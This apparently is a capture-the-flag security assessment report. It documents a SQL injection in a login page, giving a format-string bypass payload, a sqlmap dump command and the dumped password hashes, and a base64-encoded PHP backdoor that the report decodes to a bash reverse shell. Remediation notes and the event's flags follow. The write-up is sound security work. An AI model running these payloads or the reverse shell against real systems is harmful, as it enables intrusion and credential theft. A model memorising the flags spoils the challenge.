

Demo Company

Security Assessment Findings Report

Date: November 19th, 2022

# Contact Information

|  |  |
| --- | --- |
|  |  |

|  |  |  |
| --- | --- | --- |
| Name | Title | Contact Information |
| **NUWE x Schneider Electric** | | |
| daniello.alfonso | Participant | Email: daniello.alfonso@gmail.com  Github: https://github.com/Virgo83 |
| 0n3pr0t0n | Participant | Email: 0n3pr0t0n@proton.me  Github: <https://github.com/DamBasement> |

# Finding Severity Ratings

The following table defines levels of severity and corresponding CVSS score range that are used throughout the document to assess vulnerability and risk impact.

| Severity | CVSS V3 Score Range | Definition |
| --- | --- | --- |
| Critical | 9.0-10.0 | Exploitation is straightforward and usually results in system-level compromise. It is advised to form a plan of action and patch immediately. |
| High | 7.0-8.9 | Exploitation is more difficult but could cause elevated privileges and potentially a loss of data or downtime. It is advised to form a plan of action and patch as soon as possible. |
| Moderate | 4.0-6.9 | Vulnerabilities exist but are not exploitable or require extra steps such as social engineering. It is advised to form a plan of action and patch after high-priority issues have been resolved. |
| Low | 0.1-3.9 | Vulnerabilities are non-exploitable but would reduce an organization’s attack surface. It is advised to form a plan of action and patch during the next maintenance window. |
| Informational | N/A | No vulnerability exists. Additional information is provided regarding items noticed during testing, strong controls, and additional documentation. |

# Scope

|  |  |
| --- | --- |
| Assessment | Details |
| Security Audit | 18.130.53.47 |

## **Security Audit Findings**

Vulnerability Name – Location (Severity)

|  |  |
| --- | --- |
| Description: | Basic SQL Injection vulnerability available into the login.php file. It allows user to inject a malicious SQL query to bypass user validation. |
| Impact: | High |
| System: | http://internal.vese.com/login.php |
| References: | https://www.inforge.net/forum/threads/bypassare-addslashes-usando-delle-format-string-e-ottenere-una-sql-injection.606602/ |

**Exploitation Proof of Concept**

Despite the use of addslashes(), We are able to log in successfully without knowing a valid username or password. I can simply exploit the SQL injection vulnerability. Providing the following values as user and pass it will grant me the access:

username = %1$') UNION select \* FROM users.users; -- -

pwd = any

In the current situation the limit imposed by the addslashes function prevents us from escaping from the query and executing a sql injection, however there is still a function that is known to be vulnerable in other languages like C and C++ and that perhaps can help us break the restrictions. Looking carefully at the source code however it is possible to notice that we can control the format argument through the pass parameter because the symbols used to define conversion specification strings (% and $) are not sanitized by the addslashes function (which considers only ' " and \).

Using sqlmap we are also able to enumerate DB users and hased password:

python3 sqlmap.py -u "http://internal.vese.com/login.php" --forms --crawl=2 -D users -T users -C username,password –dump

+-----------------+------------------------------------------------------------------+

| username | password |

+-----------------+------------------------------------------------------------------+

| eladministrador | 0db613e31e5b53a238e35469d752ffa6 |

| dstewart | 6f299895ed844bd22404cfd69b3b6e2c |

| decryptme | ee234f62b7578420925a2307b51c64b3ca153ad7336d8636f7ac3e1a8888e6c2 |

| nsanders | ef91307aae4da64fa55b90ae1fc1f3c5 (helloitsme) |

| bgenbu | ffd9ab7908160075448185d7620ecd38 |

+-----------------+------------------------------------------------------------------+

**Remediation**

|  |  |
| --- | --- |
| Who: | DEV Team |
| Vector: | Code |
| Action: | To avoid this type of vulnerability, use mysql\_real\_escape\_string(), [prepared statements](http://www.zend.com/php5/articles/php5-mysqli.php" \l "Heading11), or any of the major database abstraction libraries. |

|  |  |
| --- | --- |
| Description: | Backdoor into the contact form encoded in base64 |
| Impact: | High |
| System: | http://contact.vese.com/test\_comment.php |
| References: |  |

**Exploitation Proof of Concept**

The following command permits to create a backdoor if specific input value are provided into the input form. The command is base64 encoded in order to be skipped by SAST and DAST scan:

eval(base64\_decode('Ly80MjZjZTkyOWVhMDUxMjg1ZTU1MWVhZjJiMmRlMmJmNDYzYWU3ODQ1NmZhM2I2NGFkYjVmZDIyMTRkOTg1ZTM0CmlmICgkbmFtZSA9PSAidGVzdDEiICYmICRlbWFpbCA9PSAidGVzdEB0ZXN0LmNvbSIgJiYgJG1lc3NhZ2UgPT0gInRlc3QyIil7CiAgICBzeXN0ZW0oImJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTU4LjQ2LjI1MC4xNTEvOTAwMSAwPiYxJyIpOwp9'));

decoding it, the executed command is:

if ($name == "test1" && $email == "test@test.com" && $message == "test2"){

system("bash -c 'bash -i >& /dev/tcp/158.46.250.151/9001 0>&1'");

it means providing test1, [test@test.com](mailto:test@test.com) and test2 values will give a reverse shell against 158.46.250.151 on port 9001, probably this is the way the attacker used to persists on the machine.

**Remediation**

|  |  |
| --- | --- |
| Who: | dev Team |
| Vector: | Code |
| Action: | Remove the line from the test\_comment.php file |

# Exploitation Paths

# **FLAGS**

{FLAG\_PSEUTERM\_COIN\_256579}

{FLAG\_INTWEBSI\_IHAL\_421571}